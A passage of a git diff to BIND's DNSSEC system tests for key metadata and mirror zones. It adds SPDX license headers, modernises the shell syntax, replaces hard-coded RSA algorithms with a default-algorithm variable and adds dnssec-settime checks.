 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
 
 rm -f K* dsset-* *.signed *.new
-rm -f zsk.key ksk.key parent.ksk.key parent.zsk.key 
+rm -f zsk.key ksk.key parent.ksk.key parent.zsk.key
 rm -f pending.key rolling.key standby.key inact.key
 rm -f prerev.key postrev.key oldstyle.key
 rm -f keys sigs
diff --git a/bin/tests/system/metadata/parent.db b/bin/tests/system/metadata/parent.db
index 6c6567f75c..a5484e3b66 100644
--- a/bin/tests/system/metadata/parent.db
+++ b/bin/tests/system/metadata/parent.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/metadata/setup.sh b/bin/tests/system/metadata/setup.sh
index 433082c0f4..2d4e7cb765 100644
--- a/bin/tests/system/metadata/setup.sh
+++ b/bin/tests/system/metadata/setup.sh
@@ -1,9 +1,11 @@
 #!/bin/sh -e
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -17,42 +19,42 @@ czone=child.parent.nil
 echo_i "generating keys"
 
 # active zsk
-zsk=`$KEYGEN -q -a rsasha1 $czone`
+zsk=$($KEYGEN -q -a ${DEFAULT_ALGORITHM} $czone)
 echo $zsk > zsk.key
 
 # not yet published or active
-pending=`$KEYGEN -q -a rsasha1 -P none -A none $czone`
+pending=$($KEYGEN -q -a ${DEFAULT_ALGORITHM} -P none -A none $czone)
 echo $pending > pending.key
 
 # published but not active
-standby=`$KEYGEN -q -a rsasha1 -A none $czone`
+standby=$($KEYGEN -q -a ${DEFAULT_ALGORITHM} -A none $czone)
 echo $standby > standby.key
 
 # inactive
-inact=`$KEYGEN -q -a rsasha1 -P now-24h -A now-24h -I now $czone`
+inact=$($KEYGEN -q -a ${DEFAULT_ALGORITHM} -P now-24h -A now-24h -I now $czone)
 echo $inact > inact.key
 
 # active ksk
-ksk=`$KEYGEN -q -a rsasha1 -fk $czone`
+ksk=$($KEYGEN -q -a ${DEFAULT_ALGORITHM} -fk $czone)
 echo $ksk > ksk.key
 
 # published but not YET active; will be active in 15 seconds
-rolling=`$KEYGEN -q -a rsasha1 -fk $czone`
+rolling=$($KEYGEN -q -a ${DEFAULT_ALGORITHM} -fk $czone)
 $SETTIME -A now+15s $rolling > /dev/null
 echo $rolling > rolling.key
 
 # revoked
-revoke1=`$KEYGEN -q -a rsasha1 -fk $czone`
+revoke1=$($KEYGEN -q -a ${DEFAULT_ALGORITHM} -fk $czone)
 echo $revoke1 > prerev.key
-revoke2=`$REVOKE $revoke1`
+revoke2=$($REVOKE $revoke1)
 echo $revoke2 | sed -e 's#\./##' -e "s/\.key.*$//" > postrev.key
 
-pzsk=`$KEYGEN -q -a rsasha1 $pzone`
+pzsk=$($KEYGEN -q -a ${DEFAULT_ALGORITHM} $pzone)
 echo $pzsk > parent.zsk.key
 
-pksk=`$KEYGEN -q -a rsasha1 -fk $pzone`
+pksk=$($KEYGEN -q -a ${DEFAULT_ALGORITHM} -fk $pzone)
 echo $pksk > parent.ksk.key
 
-oldstyle=`$KEYGEN -Cq -a rsasha1 $pzone`
+oldstyle=$($KEYGEN -Cq -a ${DEFAULT_ALGORITHM} $pzone)
 echo $oldstyle > oldstyle.key
 
diff --git a/bin/tests/system/metadata/tests.sh b/bin/tests/system/metadata/tests.sh
index 9b75cb5f2c..3a91bb783e 100644
--- a/bin/tests/system/metadata/tests.sh
+++ b/bin/tests/system/metadata/tests.sh
@@ -1,14 +1,18 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
 
+set -e
+
 . ../conf.sh
 
 pzone=parent.nil pfile=parent.db
@@ -17,7 +21,7 @@ status=0
 n=1
 
 echo_i "setting key timers"
-$SETTIME -A now+15s `cat rolling.key` > /dev/null
+$SETTIME -A now+15s $(cat rolling.key) > /dev/null
 
 inact=$(keyfile_to_key_id "$(cat inact.key)")
 ksk=$(keyfile_to_key_id "$(cat ksk.key)")
@@ -53,62 +57,62 @@ echo_i "checking that KSK signed DNSKEY only ($n)"
 ret=0
 grep "DNSKEY $ksk"'$' sigs > /dev/null || ret=1
 grep "SOA $ksk"'$' sigs > /dev/null && ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking that ZSK signed ($n)"
 ret=0
 grep "SOA $zsk"'$' sigs > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking that standby ZSK did not sign ($n)"
 ret=0
 grep " $standby"'$' sigs > /dev/null && ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking that inactive key did not sign ($n)"
 ret=0
 grep " $inact"'$' sigs > /dev/null && ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking that pending key was not published ($n)"
 ret=0
 grep " $pending"'$' keys > /dev/null && ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking that standby KSK did not sign but is delegated ($n)"
 ret=0
 grep " $rolling"'$' sigs > /dev/null && ret=1
 grep " $rolling"'$' keys > /dev/null || ret=1
-egrep "DS[ 	]*$rolling[ 	]" ${pfile}.signed > /dev/null || ret=1
-n=`expr $n + 1`
+grep -E "DS[ 	]*$rolling[ 	]" ${pfile}.signed > /dev/null || ret=1
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking that key was revoked ($n)"
 ret=0
 grep " $prerev"'$' keys > /dev/null && ret=1
 grep " $postrev"'$' keys > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking that revoked key self-signed ($n)"
 ret=0
 grep "DNSKEY $postrev"'$' sigs > /dev/null || ret=1
 grep "SOA $postrev"'$' sigs > /dev/null && ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "waiting 20 seconds for key changes to occur"
 sleep 20
@@ -119,92 +123,111 @@ $SIGNER  -Sg -o $czone -f ${cfile}.new ${cfile}.signed > /dev/null
 echo_i "checking that standby KSK is now active ($n)"
 ret=0
 grep "DNSKEY $rolling"'$' sigs > /dev/null && ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking update of an old-style key ($n)"
 ret=0
 # printing metadata should not work with an old-style key
-$SETTIME -pall `cat oldstyle.key` > /dev/null 2>&1 && ret=1
-$SETTIME -f `cat oldstyle.key` > /dev/null 2>&1 || ret=1
+$SETTIME -pall $(cat oldstyle.key) > /dev/null 2>&1 && ret=1
+$SETTIME -f $(cat oldstyle.key) > /dev/null 2>&1 || ret=1
 # but now it should
-$SETTIME -pall `cat oldstyle.key` > /dev/null 2>&1 || ret=1
-n=`expr $n + 1`
+$SETTIME -pall $(cat oldstyle.key) > /dev/null 2>&1 || ret=1
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking warning about permissions change on key with dnssec-settime ($n)"
-uname=`uname -o 2> /dev/null`
-if [ Cygwin = "$uname"  ]; then
-	echo_i "Cygwin detected, skipping"
-else
-	ret=0
-	# settime should print a warning about changing the permissions
-	chmod 644 `cat oldstyle.key`.private
-	$SETTIME -P none `cat oldstyle.key` > settime1.test$n 2>&1 || ret=1
-	grep "warning: Permissions on the file.*have changed" settime1.test$n > /dev/null 2>&1 || ret=1
-	$SETTIME -P none `cat oldstyle.key` > settime2.test$n 2>&1 || ret=1
-	grep "warning: Permissions on the file.*have changed" settime2.test$n > /dev/null 2>&1 && ret=1
-	n=`expr $n + 1`
-	if [ $ret != 0 ]; then echo_i "failed"; fi
-	status=`expr $status + $ret`
-fi
+ret=0
+# settime should print a warning about changing the permissions
+chmod 644 $(cat oldstyle.key).private
+$SETTIME -P none $(cat oldstyle.key) > settime1.test$n 2>&1 || ret=1
+grep "warning: Permissions on the file.*have changed" settime1.test$n > /dev/null 2>&1 || ret=1
+$SETTIME -P none $(cat oldstyle.key) > settime2.test$n 2>&1 || ret=1
+grep "warning: Permissions on the file.*have changed" settime2.test$n > /dev/null 2>&1 && ret=1
+n=$((n + 1))
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status + ret))
 
 echo_i "checking warning about delete date < inactive date with dnssec-settime ($n)"
 ret=0
 # settime should print a warning about delete < inactive
-$SETTIME -I now+15s -D now `cat oldstyle.key` > tmp.out 2>&1 || ret=1
+$SETTIME -I now+15s -D now $(cat oldstyle.key) > tmp.out 2>&1 || ret=1
 grep "warning" tmp.out > /dev/null 2>&1 || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking no warning about delete date < inactive date with dnssec-settime when delete date is unset ($n)"
 ret=0
-$SETTIME -D none `cat oldstyle.key` > tmp.out 2>&1 || ret=1
-$SETTIME -p all `cat oldstyle.key` > tmp.out 2>&1 || ret=1
+$SETTIME -D none $(cat oldstyle.key) > tmp.out 2>&1 || ret=1
+$SETTIME -p all $(cat oldstyle.key) > tmp.out 2>&1 || ret=1
 grep "warning" tmp.out > /dev/null 2>&1 && ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking warning about delete date < inactive date with dnssec-keygen ($n)"
 ret=0
 # keygen should print a warning about delete < inactive
-$KEYGEN -q -a rsasha1 -I now+15s -D now $czone > tmp.out 2>&1 || ret=1
+$KEYGEN -q -a ${DEFAULT_ALGORITHM} -I now+15s -D now $czone > tmp.out 2>&1 || ret=1
 grep "warning" tmp.out > /dev/null 2>&1 || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking correct behavior setting activation without publication date ($n)"
 ret=0
-key=`$KEYGEN -q -a rsasha1 -A +1w $czone`
-pub=`$SETTIME -upP $key | awk '{print $2}'`
-act=`$SETTIME -upA $key | awk '{print $2}'`
+key=$($KEYGEN -q -a ${DEFAULT_ALGORITHM} -A +1w $czone)
+pub=$($SETTIME -upP $key | awk '{print $2}')
+act=$($SETTIME -upA $key | awk '{print $2}')
 [ $pub -eq $act ] || ret=1
-key=`$KEYGEN -q -a rsasha1 -A +1w -i 1d $czone`
-pub=`$SETTIME -upP $key | awk '{print $2}'`
-act=`$SETTIME -upA $key | awk '{print $2}'`
+key=$($KEYGEN -q -a ${DEFAULT_ALGORITHM} -A +1w -i 1d $czone)
+pub=$($SETTIME -upP $key | awk '{print $2}')
+act=$($SETTIME -upA $key | awk '{print $2}')
 [ $pub -lt $act ] || ret=1
-key=`$KEYGEN -q -a rsasha1 -A +1w -P never $czone`
-pub=`$SETTIME -upP $key | awk '{print $2}'`
+key=$($KEYGEN -q -a ${DEFAULT_ALGORITHM} -A +1w -P never $czone)
+pub=$($SETTIME -upP $key | awk '{print $2}')
 [ $pub = "UNSET" ] || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking calculation of dates for a successor key ($n)"
 ret=0
-oldkey=`$KEYGEN -a RSASHA1 -q $czone`
-newkey=`$KEYGEN -a RSASHA1 -q $czone`
+oldkey=$($KEYGEN -a ${DEFAULT_ALGORITHM} -q $czone)
+newkey=$($KEYGEN -a ${DEFAULT_ALGORITHM} -q $czone)
 $SETTIME -A -2d -I +2d $oldkey > settime1.test$n 2>&1 || ret=1
 $SETTIME -i 1d -S $oldkey $newkey > settime2.test$n 2>&1 || ret=1
 $SETTIME -pA $newkey | grep "1970" > /dev/null && ret=1
-n=`expr $n + 1`
+n=$((n + 1))
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status + ret))
+
+key=$($KEYGEN -q -a ${DEFAULT_ALGORITHM} $czone)
+
+echo_i "checking -p output time is accepted ($n)"
+t=$($SETTIME -pA $key | sed 's/.*: //')
+$SETTIME -Psync "$t" $key > settime2.test$n 2>&1 || ret=1
+n=$((n + 1))
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status + ret))
+
+echo_i "checking -up output time is accepted ($n)"
+t=$($SETTIME -upA $key | sed 's/.*: //')
+$SETTIME -Dsync "$t" $key > settime2.test$n 2>&1 || ret=1
+n=$((n + 1))
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status + ret))
+
+echo_i "checking -p unset time is accepted ($n)"
+# The Delete timing metadata is unset.
+t=$($SETTIME -pD $key | sed 's/.*: //')
+$SETTIME -Psync "$t" $key > settime2.test$n 2>&1 || ret=1
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "exit status: $status"
 [ $status -eq 0 ] || exit 1
diff --git a/bin/tests/system/metadata/tests_sh_metadata.py b/bin/tests/system/metadata/tests_sh_metadata.py
new file mode 100644
index 0000000000..484328868e
--- /dev/null
+++ b/bin/tests/system/metadata/tests_sh_metadata.py
@@ -0,0 +1,14 @@
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+
+def test_metadata(run_tests_sh):
+    run_tests_sh()
diff --git a/bin/tests/system/mirror/README b/bin/tests/system/mirror/README
index d1735ba3d6..f76b41bb93 100644
--- a/bin/tests/system/mirror/README
+++ b/bin/tests/system/mirror/README
@@ -1,6 +1,15 @@
+<!--
 Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 
-See COPYRIGHT in the source root or https://isc.org/copyright.html for terms.
+SPDX-License-Identifier: MPL-2.0
+
+This Source Code Form is subject to the terms of the Mozilla Public
+License, v. 2.0.  If a copy of the MPL was not distributed with this
+file, you can obtain one at https://mozilla.org/MPL/2.0/.
+
+See the COPYRIGHT file distributed with this work for additional
+information regarding copyright ownership.
+-->
 
 This test checks whether zones configured with "type mirror;" behave as
 expected.
diff --git a/bin/tests/system/mirror/clean.sh b/bin/tests/system/mirror/clean.sh
index d079f44d75..2e0218351b 100644
--- a/bin/tests/system/mirror/clean.sh
+++ b/bin/tests/system/mirror/clean.sh
@@ -1,7 +1,11 @@
+#!/bin/sh
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/mirror/ns1/named.conf.in b/bin/tests/system/mirror/ns1/named.conf.in
index fda17f1c7a..22173f7996 100644
--- a/bin/tests/system/mirror/ns1/named.conf.in
+++ b/bin/tests/system/mirror/ns1/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -18,6 +20,7 @@ options {
 	listen-on { 10.53.0.1; };
 	listen-on-v6 { none; };
 	recursion no;
+	dnssec-validation no;
 };
 
 zone "." {
diff --git a/bin/tests/system/mirror/ns1/root.db.in b/bin/tests/system/mirror/ns1/root.db.in
index ebd4b4da0c..98ecf1f277 100644
--- a/bin/tests/system/mirror/ns1/root.db.in
+++ b/bin/tests/system/mirror/ns1/root.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/mirror/ns1/sign.sh b/bin/tests/system/mirror/ns1/sign.sh
index 84bce41a6b..ab613d57d8 100644
--- a/bin/tests/system/mirror/ns1/sign.sh
+++ b/bin/tests/system/mirror/ns1/sign.sh
@@ -1,9 +1,11 @@
 #!/bin/sh -e
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -19,8 +21,8 @@ zone=.
 infile=root.db.in
 zonefile=root.db
 
-keyname1=`$KEYGEN -a RSASHA256 -f KSK $zone 2> /dev/null`
-keyname2=`$KEYGEN -a RSASHA256 $zone 2> /dev/null`
+keyname1=$($KEYGEN -a ${DEFAULT_ALGORITHM} -f KSK $zone 2> /dev/null)
+keyname2=$($KEYGEN -a ${DEFAULT_ALGORITHM} $zone 2> /dev/null)
 
 cat $infile $keyname1.key $keyname2.key > $zonefile
 
diff --git a/bin/tests/system/mirror/ns2/example.db.in b/bin/tests/system/mirror/ns2/example.db.in
index 66253d1376..54723999ec 100644
--- a/bin/tests/system/mirror/ns2/example.db.in
+++ b/bin/tests/system/mirror/ns2/example.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/mirror/ns2/initially-unavailable.db.in b/bin/tests/system/mirror/ns2/initially-unavailable.db.in
index 71dddd9282..cf809e3aac 100644
--- a/bin/tests/system/mirror/ns2/initially-unavailable.db.in
+++ b/bin/tests/system/mirror/ns2/initially-unavailable.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/mirror/ns2/named.conf.in b/bin/tests/system/mirror/ns2/named.conf.in
index b915904efc..7eaed5b11f 100644
--- a/bin/tests/system/mirror/ns2/named.conf.in
+++ b/bin/tests/system/mirror/ns2/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -11,7 +13,7 @@
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
@@ -27,6 +29,7 @@ options {
 	listen-on { 10.53.0.2; };
 	listen-on-v6 { none; };
 	recursion no;
+	dnssec-validation no;
 };
 
 zone "example" {
diff --git a/bin/tests/system/mirror/ns2/sign.sh b/bin/tests/system/mirror/ns2/sign.sh
index fb832b00d6..519fd83605 100644
--- a/bin/tests/system/mirror/ns2/sign.sh
+++ b/bin/tests/system/mirror/ns2/sign.sh
@@ -1,9 +1,11 @@
 #!/bin/sh -e
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -18,8 +20,8 @@ for zonename in sub.example example initially-unavailable; do
 	infile=$zonename.db.in
 	zonefile=$zonename.db
 
-	keyname1=`$KEYGEN -a RSASHA256 -f KSK $zone 2> /dev/null`
-	keyname2=`$KEYGEN -a RSASHA256 $zone 2> /dev/null`
+	keyname1=$($KEYGEN -a ${DEFAULT_ALGORITHM} -f KSK $zone 2> /dev/null)
+	keyname2=$($KEYGEN -a ${DEFAULT_ALGORITHM} $zone 2> /dev/null)
 
 	cat $infile $keyname1.key $keyname2.key > $zonefile
 
@@ -37,23 +39,23 @@ zone=verify-csk
 infile=verify.db.in
 zonefile=verify-csk.db
 
-keyname=`$KEYGEN -a RSASHA256 $zone 2> /dev/null`
+keyname=$($KEYGEN -a ${DEFAULT_ALGORITHM} $zone 2> /dev/null)
 cat $infile $keyname.key > $zonefile
 $SIGNER -P -o $zone $zonefile > /dev/null
 keys_to_trust="$keys_to_trust $keyname"
 
 # Prepare remaining zones used in the test.
-ORIGINAL_SERIAL=`awk '$2 == "SOA" {print $5}' verify.db.in`
-UPDATED_SERIAL_BAD=`expr ${ORIGINAL_SERIAL} + 1`
-UPDATED_SERIAL_GOOD=`expr ${ORIGINAL_SERIAL} + 2`
+ORIGINAL_SERIAL=$(awk '$2 == "SOA" {print $5}' verify.db.in)
+UPDATED_SERIAL_BAD=$((ORIGINAL_SERIAL + 1))
+UPDATED_SERIAL_GOOD=$((ORIGINAL_SERIAL + 2))
 
 for variant in addzone axfr ixfr load reconfig untrusted; do
 	zone=verify-$variant
 	infile=verify.db.in
 	zonefile=verify-$variant.db
 
-	keyname1=`$KEYGEN -a RSASHA256 -f KSK $zone 2> /dev/null`
-	keyname2=`$KEYGEN -a RSASHA256 $zone 2> /dev/null`
+	keyname1=$($KEYGEN -a ${DEFAULT_ALGORITHM} -f KSK $zone 2> /dev/null)
+	keyname2=$($KEYGEN -a ${DEFAULT_ALGORITHM} $zone 2> /dev/null)
 
 	cat $infile $keyname1.key $keyname2.key > $zonefile
 
diff --git a/bin/tests/system/mirror/ns2/sub.example.db.in b/bin/tests/system/mirror/ns2/sub.example.db.in
index 3c77d9536e..d2c15c7857 100644
--- a/bin/tests/system/mirror/ns2/sub.example.db.in
+++ b/bin/tests/system/mirror/ns2/sub.example.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/mirror/ns2/verify.db.in b/bin/tests/system/mirror/ns2/verify.db.in
index dbee4c7ebd..b3ed22a29a 100644
--- a/bin/tests/system/mirror/ns2/verify.db.in
+++ b/bin/tests/system/mirror/ns2/verify.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/mirror/ns3/named.args b/bin/tests/system/mirror/ns3/named.args
index 7519c8f587..78f3feba8f 100644
--- a/bin/tests/system/mirror/ns3/named.args
+++ b/bin/tests/system/mirror/ns3/named.args
@@ -1 +1 @@
--D mirror-ns3 -X named.lock -m record,size,mctx -c named.conf -d 99 -g -U 4 -T maxcachesize=2097152 -T tat=3
+-D mirror-ns3 -X named.lock -m record -c named.conf -d 99 -g -U 4 -T maxcachesize=2097152 -T tat=3
diff --git a/bin/tests/system/mirror/ns3/named.conf.in b/bin/tests/system/mirror/ns3/named.conf.in
index 4ee23c5554..50f6158e62 100644
--- a/bin/tests/system/mirror/ns3/named.conf.in
+++ b/bin/tests/system/mirror/ns3/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -11,7 +13,7 @@
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
@@ -30,6 +32,7 @@ options {
 	allow-query-cache { 10.53.0.1; };
 	trust-anchor-telemetry yes;
 	allow-new-zones yes;
+	dnssec-validation yes;
 };
 
 zone "." {
@@ -47,7 +50,6 @@ zone "initially-unavailable" {
 	type mirror;
 	primaries { 10.53.0.2; };
 	file "initially-unavailable.db.mirror";
-	use-alt-transfer-source no;
 };
 
 zone "verify-axfr" {
diff --git a/bin/tests/system/mirror/setup.sh b/bin/tests/system/mirror/setup.sh
index 0a7f9ae843..b80e797dc0 100644
--- a/bin/tests/system/mirror/setup.sh
+++ b/bin/tests/system/mirror/setup.sh
@@ -1,9 +1,11 @@
 #!/bin/sh -e
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/mirror/tests.sh b/bin/tests/system/mirror/tests.sh
index 4f0ddcd935..91277a4255 100644
--- a/bin/tests/system/mirror/tests.sh
+++ b/bin/tests/system/mirror/tests.sh
@@ -1,14 +1,18 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
